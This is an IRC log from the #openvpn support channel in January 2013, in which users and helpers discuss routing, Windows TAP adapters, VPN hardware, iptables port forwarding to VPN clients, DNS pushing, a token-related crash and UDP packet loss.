12:32 < izibi> hi. how can i prevent openvpn from creating routes to the tunnel endpoint?
12:33 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has joined #openvpn
12:33 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
12:33 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
12:36 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 255 seconds]
12:36 -!- Orbi [~opera@anon-185-138.vpn.ipredator.se] has quit [Ping timeout: 272 seconds]
12:38 -!- s51itxsyc [~s51itxsyc@124.207.123.109] has quit [Ping timeout: 276 seconds]
12:38 -!- b1rkh0ff [~b1rkh0ff@178.77.7.250] has joined #openvpn
12:45 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
12:47 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 256 seconds]
12:54 < izibi> or what would even be better: how can i change the gateway for the route to the tunnel endpoint?
12:59 -!- s34n [~chatzilla@ip-208-76-93-210.mvdsl.com] has quit [Ping timeout: 276 seconds]
13:01 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
13:02 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 240 seconds]
13:05 -!- brute11k [~brute11k@89.249.235.236] has quit [Ping timeout: 255 seconds]
13:05 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Client Quit]
13:05 -!- brute11k [~brute11k@89.249.235.236] has joined #openvpn
13:07 -!- s34n [~chatzilla@ip-208-76-93-210.mvdsl.com] has joined #openvpn
13:07 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
13:11 -!- Hugh_Man [~Hugh_Man@c-68-61-229-187.hsd1.mi.comcast.net] has quit [Ping timeout: 264 seconds]
13:33 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has joined #openvpn
13:35 < KaiForce> Is there a how-to for multiple simultaneous connections from a windows client?  Assuming that is possible, that is.
13:44 <+rob0> I suppose it is, but I don't use Windows. If all of those servers redirect the gateway, it would be rather ugly, of course. If they're just to connect to that site/LAN, however, it should be no problem.
13:50 < KaiForce> no, should not redirect gw.  just to get to LAN
13:50 < KaiForce> to remote LANS i mean.  A work from home person accessing multiple offices.
13:56 <+rob0> Another potential problem is if the LAN or VPN network ranges overlap/conflict.
13:57 < KaiForce> No they are distinct
13:59 < KaiForce> I'm just trying to figure out how to connect the second connection.  When I connect more than one, I get "All TAP-Win32 adapters on this system are currently in use."
14:01 -!- daemonoob [~rschultz@68-233-212-42.static-ip.telepacific.net] has joined #openvpn
14:07 < KaiForce> Ok, found it.  There is an "addtap.bat" file in the bin folder for OpenVPN GUI.  It creates additional TAP adapters (at least on XP, I'll have to see on Win 7)
14:23 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
14:24 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
14:26 -!- brute11k [~brute11k@89.249.235.236] has quit [Quit: Leaving.]
14:27 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:39 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
14:39 -!- mode/#openvpn [+v s7r] by ChanServ
14:48 -!- zaki [~guest@93.98.88.82] has joined #openvpn
14:57 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Read error: Connection reset by peer]
14:57 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
14:58 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
15:38 -!- wh1p [~angus@host-2-100-148-6.as13285.net] has quit [Quit: Leaving]
15:52 -!- wh1p [~angus@host-2-100-148-6.as13285.net] has joined #openvpn
15:53 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 245 seconds]
15:57 -!- corretico [~luis@190.211.93.38] has joined #openvpn
16:01 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.89 [Firefox 18.0/20130104151925]]
16:07 -!- JackWinter1 [~jack@vodsl-4655.vo.lu] has quit [Quit: ZNC - http://znc.in]
16:08 -!- p3rror [~mezgani@41.249.97.52] has joined #openvpn
16:09 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
16:17 -!- swat [~swat@ubuntu/member/swat] has joined #openvpn
16:28 -!- s34n [~chatzilla@ip-208-76-93-210.mvdsl.com] has left #openvpn []
16:31 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
16:32 -!- p3rror [~mezgani@41.249.97.52] has quit [Quit: Leaving]
16:45 -!- swat [~swat@ubuntu/member/swat] has quit [Ping timeout: 260 seconds]
17:07 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
17:15 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 264 seconds]
17:21 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:21 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 276 seconds]
17:28 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
17:58 -!- kusznir [~kusznir@76.178.145.28] has joined #openvpn
17:58 < kusznir> Hi all: quick question: Does anyone know of a rackmount switch currently available (preferably 16-port, 100base-T) that has internal OpenVPN support?
18:01 < wh1p> openvpn is not something you would find in a switch rather something more like a router
18:04 < wh1p> kusznir: i would advise building a linux box and setting up openvpn on it
18:04 < wh1p> i will have a look see if i can find anything though which has openvpn built in
18:04 < kusznir> wh1p: I guess I was asking if anyone knew of a switch that included enough routing functionality to be a vpn endpoint.
18:05 < wh1p> no afaik that would never work
18:05 < kusznir> I found the Ubiquiti EdgeRouter, but it isn't actually shipping yet.
18:05 < kusznir> And I've seen other people with "vpn devices" that have ~8 ethernet ports on it.
18:06 < kusznir> I'd like a step up from a consumer-grade router running dd-wrt/openwrt hooked up to a switch.
18:06 < kusznir> An alix box would work I know...http://store.netgate.com/ALIX2D2-Kit-Black-Unassembled-P187C86.aspx
18:06 <@vpnHelper> Title: ALIX.2D2 Kit Black Unassembled @ Netgate (at store.netgate.com)
18:06 < wh1p> have a look at these products i hezard that some of them might support openvpn
18:06 < wh1p> http://www.wifi-stock.co.uk/products/routerboards-mikrotik.html
18:06 <@vpnHelper> Title: Wifi-stock.co.uk - Routerboards (Mikrotik) - WiFi Networking products at lowest prices in UK and Ireland (at www.wifi-stock.co.uk)
18:07 < kusznir> Also curious how common the hardware accelerated encryption is...I don't think it will be a big deal (don't plan on pushing high data rates), but I am also talking fairly weak processors...
18:08 < kusznir> My understanding is the geode processors have built-in hardware encryption engine that I'm told OpenVPN will take advantage of.
18:08 <@dazo> kusznir: build your own using a supermicro server?  they got quite nicely priced 1U rack mountable servers
18:08 <@dazo> I dunno about geode ... but Intel CPUs with AES-NI instructions works very well
18:10 <@dazo> http://www.supermicro.nl/products/system/1U/
18:10 <@vpnHelper> Title: Supermicro | Products | SuperServers | 1U (at www.supermicro.nl)
18:12 < kusznir> dazo: do you know if the atom CPUs have the instruction?
18:12 <@dazo> kusznir: dunno ... gotta check Intel's specs on their 'ark' site ..
18:13 <@dazo> kusznir: seems not ... http://ark.intel.com/products/71267/Intel-Atom-Processor-S1260-1MB-Cache-2_00-GHz
18:15 <@dazo> This one got AES-NI ... http://www.supermicro.nl/products/system/1U/5017/SYS-5017P-TF.cfm  /  http://ark.intel.com/products/65704/Intel-Core-i5-3610ME-Processor-3M-Cache-up-to-3_30-GHz
18:15 <@vpnHelper> Title: Supermicro | Products | SuperServers | 1U | 5017P-TF (at www.supermicro.nl)
18:15 <@dazo> (same compact box, but far more power in the CPU)
18:15 < kusznir> I was looking to avoid a full-fledged server install.  This is supporting 15 embedded systems moving about 25k every 15min over a VPN.
18:16 <@dazo> kusznir: install Scientific Linux 6 ... and you'll get all updates going in automatically .... even embedded stuff needs to be updated regularly too, which is often a more cumbersome process
18:17 <@dazo> (and iirc, Scientific Linux 6 will have updates going on until 2020)
18:18 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
18:27 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
18:29 -!- emmanuelux [~emmanuelu@vpn7.freedom-ip.com] has joined #openvpn
18:31 <@raidz> OpenVPN IOS App now Available in the App Store
18:34 -!- kunji [~Kunji@141.216.172.169] has joined #openvpn
18:34 < dioz> can i do server-bridge 192.168.0.1 255.255.255.0 192.168.0.1 192.168.0.1 ?
18:35 < dioz> tap
18:35 <@raidz> https://itunes.apple.com/us/app/openvpn-connect/id590379981
18:35 <@vpnHelper> Title: OpenVPN Connect for iPhone 3GS, iPhone 4, iPhone 4S, iPhone 5, iPod touch (3rd generation), iPod touch (4th generation), iPod touch (5th generation) and iPad on the iTunes App Store (at itunes.apple.com)
18:35 < dioz> coool
18:37 < dioz> the server-bridge objective indicates ip address, subnet, range, range
18:37 < kunji> dioz: umm, wouldn't that try to give out the server's ip to the connecting client?
18:37 < kunji> dioz: I don't think that first ip should be in the range.
18:37 < dioz> there is no range
18:37 < dioz> it's just a single ip
18:39 < kunji> dioz: But isn't that the ip used on the virtual interface of the server, so it should not be an ip the server gives out to a client, I think you should use at least 2 ips, one for the server, and one for the client, aka server-bridge 192.168.0.1 255.255.255.0 192.168.0.2 192.168.0.2
18:40 < kunji> I'm pretty new to this though, hmm, pekster would know, stick around and he'll see it eventually.
18:45 <@dazo> !ios
18:45 <@dazo> !iphone
18:45 <@vpnHelper> "iphone" is (#1) http://github.com/jfx2006/OpenVPN_iphone/downloads for precompiled iphone binaries or (#2) http://modmyi.com/cydia/package.php?id=15784 for the gui portion or (#3) http://www.zdnet.com/blog/hardware/ubuntu-lucid-lynx-1004-can-read-your-iphones-secrets/8424 <-- be aware of that before putting your keys on an iphone or (#4) see http://www.guizmovpn.com/ for an iOS client for OpenVPN for
18:45 <@vpnHelper> iPhone and iPad.
18:46 <@dazo> !forget iphone 1
18:46 <@vpnHelper> Joo got it.
18:46 <@dazo> !iphone
18:46 <@vpnHelper> "iphone" is (#1) http://modmyi.com/cydia/package.php?id=15784 for the gui portion or (#2) http://www.zdnet.com/blog/hardware/ubuntu-lucid-lynx-1004-can-read-your-iphones-secrets/8424 <-- be aware of that before putting your keys on an iphone or (#3) see http://www.guizmovpn.com/ for an iOS client for OpenVPN for iPhone and iPad.
18:46 <@dazo> !forget iphone 1
18:46 <@vpnHelper> Joo got it.
18:46 <@dazo> !iphone
18:46 <@vpnHelper> "iphone" is (#1) http://www.zdnet.com/blog/hardware/ubuntu-lucid-lynx-1004-can-read-your-iphones-secrets/8424 <-- be aware of that before putting your keys on an iphone or (#2) see http://www.guizmovpn.com/ for an iOS client for OpenVPN for iPhone and iPad.
18:46 <@dazo> !forget iphone 2
18:46 <@vpnHelper> Joo got it.
18:47 <@dazo> !learn iphone as "OpenVPN is now available for iOS in the App Store
18:47 <@vpnHelper> Error: No closing quotation
18:47 <@dazo> !learn iphone as OpenVPN is now available for iOS in the App Store
18:47 <@vpnHelper> Joo got it.
18:47 <@dazo> !iphone
18:47 <@vpnHelper> "iphone" is (#1) http://www.zdnet.com/blog/hardware/ubuntu-lucid-lynx-1004-can-read-your-iphones-secrets/8424 <-- be aware of that before putting your keys on an iphone or (#2) OpenVPN is now available for iOS in the App Store
19:02 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Read error: Operation timed out]
19:03 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
19:03 -!- donhoe [~jeepers@31.193.12.99] has quit [Remote host closed the connection]
19:13 -!- Controlsfreek [~Controlsf@cpe-69-204-135-43.nycap.res.rr.com] has quit [Read error: Connection reset by peer]
19:14 -!- ducblangis [~Ducblangi@24-117-207-111.cpe.cableone.net] has quit [Ping timeout: 276 seconds]
19:14 -!- Controlsfreek [~Controlsf@cpe-69-204-135-43.nycap.res.rr.com] has joined #openvpn
19:35 -!- daemonoob [~rschultz@68-233-212-42.static-ip.telepacific.net] has quit [Quit: Leaving]
19:40 < kunji> ?.. I'm still connected to this, hmm
19:42 -!- raidz is now known as raidz_away
19:53 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
19:53 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Changing host]
19:53 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
19:57 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Read error: Connection reset by peer]
19:59 -!- b1rkh0ff [~b1rkh0ff@178.77.7.250] has quit [Ping timeout: 244 seconds]
19:59 -!- kunji [~Kunji@141.216.172.169] has quit [Read error: Connection reset by peer]
19:59 -!- kunji1 [~Kunji@141.216.172.169] has joined #openvpn
20:10 -!- dazo is now known as dazo_afk
20:11 -!- kunji1 [~Kunji@141.216.172.169] has quit [Read error: Connection reset by peer]
20:27 -!- Guest24601 [~root@216.17.109.26] has joined #openvpn
20:31 -!- s51itxsyc [~s51itxsyc@202.108.130.138] has joined #openvpn
20:43 -!- Guest24601 [~root@216.17.109.26] has left #openvpn []
20:43 -!- cosmicgate [~root@216.17.109.26] has joined #openvpn
20:43 < cosmicgate> Hi,
20:43 < cosmicgate> may i know what is the default encryption cipher for openvpn?
20:46 -!- nucl3ar [~atom@31.193.12.99] has joined #openvpn
21:03 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 248 seconds]
21:04 -!- corretico [~luis@190.211.93.38] has joined #openvpn
21:06 -!- nucl3ar [~atom@31.193.12.99] has quit [Quit: g'byte]
21:27 -!- cosmicgate [~root@216.17.109.26] has quit [Ping timeout: 255 seconds]
21:31 -!- CrashTM [~CrashTM@69.162.93.219] has joined #openvpn
21:31 < CrashTM> how might someone go about forwarding a port to a openvpn client
21:32 < CrashTM> iptables -t nat -A PREROUTING -p tcp --dport (port) -j DNAT --to-destination (client ip)
21:33 < CrashTM> iptables -A FORWARD -s (client ip) -p tcp --dport (port) -j ACCEPT
21:33 < CrashTM> does that look right
21:41 < CrashTM> !def1
21:41 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
21:42 < ngharo> !linportforward
21:42 <@vpnHelper> "linportforward" is (#1) to forward port 80 tcp to a vpn client, use this (replacing <SERVERIP> with the real ip of the server, and <VPNIP> with the clients VPN ip) or (#2) iptables -t nat -A PREROUTING -i eth0 -d <SERVERIP> -p tcp --dport 80 -j DNAT --to <VPNIP> or (#3) iptables -A FORWARD -m state --state NEW,ESTABLISHED,RELATED -i eth0 -p tcp --dport 80 -j ACCEPT
21:46 -!- Castor_ [Castor_@CPE-72-133-200-232.wi.res.rr.com] has joined #openvpn
21:46 -!- uberushaximus [~uberushax@shepard.sypherz.com] has joined #openvpn
22:00 -!- CrashTM [~CrashTM@69.162.93.219] has quit [Read error: Connection reset by peer]
22:01 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has joined #openvpn
22:01 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has quit [Client Quit]
22:25 -!- ben1066 [~quassel@unaffiliated/ben1066] has quit [Read error: Connection reset by peer]
22:25 -!- ben1066 [~quassel@2a03:b200:9::824e:1e6e] has joined #openvpn
22:25 -!- ben1066 [~quassel@2a03:b200:9::824e:1e6e] has quit [Changing host]
22:25 -!- ben1066 [~quassel@unaffiliated/ben1066] has joined #openvpn
22:53 -!- cosmicgate [~root@216.17.109.26] has joined #openvpn
22:58 -!- cosmicgate [~root@216.17.109.26] has quit [Quit: bye]
--- Day changed Thu Jan 17 2013
00:00 -!- cosmicgate [~root@216.17.109.26] has joined #openvpn
00:02 -!- blackness is now known as blackmagic
00:11 -!- cosmicgate [~root@216.17.109.26] has quit []
00:11 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has quit [Ping timeout: 260 seconds]
00:12 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has joined #openvpn
00:42 -!- brute11k [~brute11k@89.249.235.236] has joined #openvpn
00:50 -!- emmanuelux [~emmanuelu@vpn7.freedom-ip.com] has quit [Quit: emmanuelux]
01:28 -!- Varazir_ is now known as Varazir
01:38 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
01:45 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 260 seconds]
01:45 -!- Minnebo [~Minnebo@office.exabyte.be] has joined #openvpn
01:45 < Minnebo> Guys, i'm still stuck with one problem
01:45 < Minnebo> Can someone check my server/client config?
01:46 -!- cosmicgate [~root@216.17.109.26] has joined #openvpn
01:46 < Minnebo> I can connect and everything works like a charm, but I cannot get the route work to use \\sbs2011 to get to the shares
01:46 < Minnebo> my server is on 192.168.100.1
01:47 < Minnebo> so I did an push "route 192.168.100.0 255.255.255.0"
01:47 < Minnebo> when I do print route on my client pc
01:48 < Minnebo> I see that the route is added
01:48 <+pekster> Is your DNS or WINS set up to do resolution across the VPN correctly?
01:48 <+pekster> You can't expect private names to resolve without setting that up
01:49 < Minnebo> where can I set those things?
01:49 < Minnebo> !dns
01:49 < Minnebo> :D
01:49 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
01:49 < Minnebo> !pushdns
01:49 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
01:49 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
01:50 <+pekster> DNS on windows is kind of a PITA: maybe that --register-DNS option will help, but I spent many hours one of my prior jobs cooking up a solution to guarentee that internal DNS worked. I just wish my solution wasn't locked up in a former employer's SVN repo :(
01:51 <+pekster> Windows does strange things when multi-homed, especially if you require automatic suffix support (which you apparently do since you're not using a FQDN)
01:51 < Minnebo> pekster, i could trick it
01:51 < Minnebo> by adjusting the hosts file
01:51 <+pekster> Using a FQDN might help, if you push the domain along with the DNS server
01:51 <+pekster> \\server.your.domain
01:52 < Minnebo> but then again when I go to 192.168.100.1 it goes to my local adress
01:52 <+pekster> It's still ugly because the DNS servers and "search suffix" for the domain are attached to the adapter, not system-wide
01:52 < Minnebo> Its odd that pptp vpn doenst have these issues :p
01:52 <+pekster> It just has issues with being a known inseucre protocol for over a decade and being fairly trivial to attack since mid 2012
01:53 < Minnebo> i'll test some this afternoon, have to hit the road
01:53 < Minnebo> laters
01:56 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
01:57 -!- Azrael808 [~peter@212.161.9.162] has quit [Remote host closed the connection]
01:59 -!- Minnebo [~Minnebo@office.exabyte.be] has quit [Ping timeout: 246 seconds]
01:59 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
01:59 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Remote host closed the connection]
01:59 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
02:05 -!- Azrael808 [~peter@212.161.9.162] has quit [Quit: Ex-Chat]
02:15 -!- Halagan [~Miranda@a4.evona.ba.cust.gts.sk] has joined #openvpn
02:16 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has quit [Ping timeout: 264 seconds]
02:16 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has joined #openvpn
02:21 < Halagan> Hi guys .. We installed last version of iKey1000SDK (4.2.0) for iKey 1032 under OS Windows 7 x64.
02:21 < Halagan> App installed correctly and utility shows some information about token.
02:21 < Halagan> We have openvpn certificate on this iKey and we use this certificate to login in vpn site.
02:21 < Halagan> When we run openvpn client, it appear error with message “the ordinal 322 could not be located in the dynamic link library libeay32.dll”. So I copied this file and file ssleay32.dll from windows\system32 to openvpn\bin, where I replaced original openvpn files. Then i started again openvpn client, and opevpn daemon crash with error (file with this error is in attachment). We use openvpn-2.2.2-install.exe, but I have also tried ne
02:21 < Halagan> w version openvpn-install-2.3.0.exe with the same results. Under OS Windows XP 32 bit with iKey1000SDK (4.0.0.4) run this certificate on token without problems.
02:24 < Halagan> And this is attachment error Faulting application name: openvpn.exe, version: 2.3.0.0, time stamp: 0x5098c6eb
02:24 < Halagan> Faulting module name: openvpn.exe, version: 2.3.0.0, time stamp: 0x5098c6eb
02:24 < Halagan> Exception code: 0xc0000005
02:24 < Halagan> Fault offset: 0x00075b73
02:24 < Halagan> Faulting process id: 0xafc
02:24 < Halagan> Faulting application start time: 0x01cdd6c4db23e169
02:24 < Halagan> Faulting application path: C:\Program Files (x86)\OpenVPN\bin\openvpn.exe
02:24 < Halagan> Faulting module path: C:\Program Files (x86)\OpenVPN\bin\openvpn.exe
02:24 < Halagan> Report Id: 1a456b8b-42b8-11e2-85e2-ac7289579a3a
02:30 < blackmagic> Please use a pastebin for pastes longer then 4 lines.
02:31 < blackmagic> makes reading much easier.
02:31 -!- Guest70136 [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
02:42 < Halagan> Okay .. here is pastebin link .. http://pastebin.com/fhUQfMwE
02:43 < Halagan> And i also tried new version 2.3.0 OpenVPN ..
02:50 -!- cosmicgate [~root@216.17.109.26] has quit []
02:56 < Halagan> Please suggest me solution.
02:57 -!- swat [~swat@ubuntu/member/swat] has joined #openvpn
02:57 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 276 seconds]
03:05 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:15 -!- swat [~swat@ubuntu/member/swat] has quit [Ping timeout: 255 seconds]
03:19 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
03:22 -!- JackWinter [~jack@vodsl-4655.vo.lu] has quit [Quit: ZNC - http://znc.in]
03:24 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
03:26 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:26 -!- thinkHell [~Hell@85.15.47.27] has joined #openvpn
03:34 -!- s51itxsyc [~s51itxsyc@202.108.130.138] has quit [Quit: Lost terminal]
03:49 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 260 seconds]
03:56 -!- APTX [~APTX@unaffiliated/aptx] has quit [Read error: Operation timed out]
03:56 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
04:04 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 248 seconds]
04:11 -!- cherwin [~cherwin@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 248 seconds]
04:12 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
04:12 -!- cherwin [~cherwin@ip4da6274e.direct-adsl.nl] has joined #openvpn
04:20 -!- igor__ [~igor@pd907e599.dip0.t-ipconnect.de] has joined #openvpn
04:27 -!- eugenmayer1 [~EugenMaye@2a02:8071:b258:c001:ec3e:a40d:77ad:6be2] has joined #openvpn
04:28 < eugenmayer1> Hello. Iam having like 40 VPN clients into 4 OpenVPN nets ( all served by one server ). To locations, one new office (all clients there, all OSX) and a customer location do have huge bandwith issues ( download 30kbit/s ). The networks are based on UDP and it seems it could be based on paket loss. Any suggestion?
04:29 < eugenmayer1> i used iperf with -u and got an package los of 7-10% to the vpn server ( from the outer net, not the tunnel)
04:33 <+pekster> eugenmayer1: That's a significant amount of packet loss; if you're familiar with TCP's restart mechanism in the face of lost packets, that could easily account for your low throughput. It's possible window tuning could help with TCP streams, but that still won't change the fundamental problem around that bad of a network link
04:34 < eugenmayer1> pekster: so you suggest, as i do, its an ISP issue?
04:34 -!- p3rror [~mezgani@2001:0:53aa:64c:281c:646c:d605:16f1] has joined #openvpn
04:34 < eugenmayer1> pekster: as its UDB, how it could be due to the TCP's restart mechanism?
04:35 <+pekster> TCP is still used inside the tunnel for anything TCP-based
04:35 < eugenmayer1> I mean, since UDP is stateless and has no "ACK" its always very sensible to bad connection/paket loss
04:35 < eugenmayer1> right?
04:36 <+pekster> Rigiht. But if you, say, ftp across the VPN link, the local system doesn't care "why" the packet was lost (ie: no ack comes back for it) so it re-tries
04:36 <+pekster> That in turn geneates another UDP packet, that in your case is also 7-10% likely to be lost
04:36 < eugenmayer1> yeah sure. Combined that, this will have an bandwith issues, thats clear
04:36 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
04:37 <+pekster> Try a traceroute tool that can show you loss/latency for each hop between your endpoints (I like the "mtr" tool for this, but there are others) and see what you find
04:37 <+pekster> At ~10% latency, you clearly have a problem with the link
04:37 <+pekster> loss, rather
04:38 < eugenmayer1> pekster: so i guess, since my VPN server is vierualized, i have to double check its nothing on that route, check a different server. If i face the same amount of packaet loss on other servers, i guess its ISP-only, right
04:38 < eugenmayer1> pekster: using MTR here
04:39 <+pekster> "nothing on the route" ? I've no clue what that means, but I don't get packet loss even when someone on my network is watching Netflix and another is uploading vacation photos
04:39 < eugenmayer1> i see, right now, a kernel syslog message
04:39 < eugenmayer1> UDP: short packet: From XXXXX to XXXX
04:40 < eugenmayer1> and something like __ratelimie: 11 callbacks supprsed..
04:40 < eugenmayer1> pekster: i ment, rather e.g. somethign with the virtualized network interface
04:45 -!- eugenmayer [~EugenMaye@2a02:8071:b258:c001:5dcf:eb91:45:15e3] has joined #openvpn
04:49 -!- eugenmayer1 [~EugenMaye@2a02:8071:b258:c001:ec3e:a40d:77ad:6be2] has quit [Ping timeout: 256 seconds]
04:49 -!- b1rkh0ff [~b1rkh0ff@178.77.7.250] has joined #openvpn
04:49 < eugenmayer> pekster: iam having huge internet issue, sorry. Iam using MTR for this kind of tests
04:53 -!- blackmagic [~black@ip98-185-21-138.rn.hr.cox.net] has quit [Ping timeout: 244 seconds]
04:56 <+pekster> eugenmayer: Right. I mean, if you can't even stay connected to IRC without dropping, that's going to impact almost any application that's sending data across the Internet
04:56 <+pekster> The VPNs job is to encapsulate and delivery packets to yoru peer, not to fix that kind of problem
04:56 -!- eugenmayer [~EugenMaye@2a02:8071:b258:c001:5dcf:eb91:45:15e3] has quit [Ping timeout: 256 seconds]
04:56 <+pekster> lol
05:01 -!- thinkHell [~Hell@85.15.47.27] has quit [Read error: Connection reset by peer]
05:04 -!- eugenmayer [~EugenMaye@2a02:8071:b258:c001:657e:9c95:55ed:79ce] has joined #openvpn
05:05 <+pekster> eugenmayer: https://pastee.org/ksz9t
05:05 < eugenmayer> Sorry for my connection, its just going up and down..i guess i missed like anything? ;/
05:06 -!- blackmagic [~black@ip98-185-21-138.rn.hr.cox.net] has joined #openvpn
05:18 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
05:22 -!- APTX [~APTX@unaffiliated/aptx] has quit [Ping timeout: 248 seconds]
05:22 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
05:23 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
05:23 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
05:24 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
05:25 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
05:31 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
05:33 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
05:34 -!- b1rkh0ff [~b1rkh0ff@178.77.7.250] has quit [Quit: Leaving]
05:36 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
05:39 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
05:44 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
05:51 -!- valparaiso [~valparais@ARennes-257-1-48-169.w81-53.abo.wanadoo.fr] has joined #openvpn
05:56 -!- eugenmayer [~EugenMaye@2a02:8071:b258:c001:657e:9c95:55ed:79ce] has quit [Ping timeout: 256 seconds]
06:03 -!- valparaiso [~valparais@ARennes-257-1-48-169.w81-53.abo.wanadoo.fr] has quit [Quit: valparaiso]
06:03 -!- dude123 [~jonathan@cpe-72-191-141-216.stx.res.rr.com] has joined #openvpn
06:03 -!- valparaiso [~valparais@ARennes-257-1-48-169.w81-53.abo.wanadoo.fr] has joined #openvpn
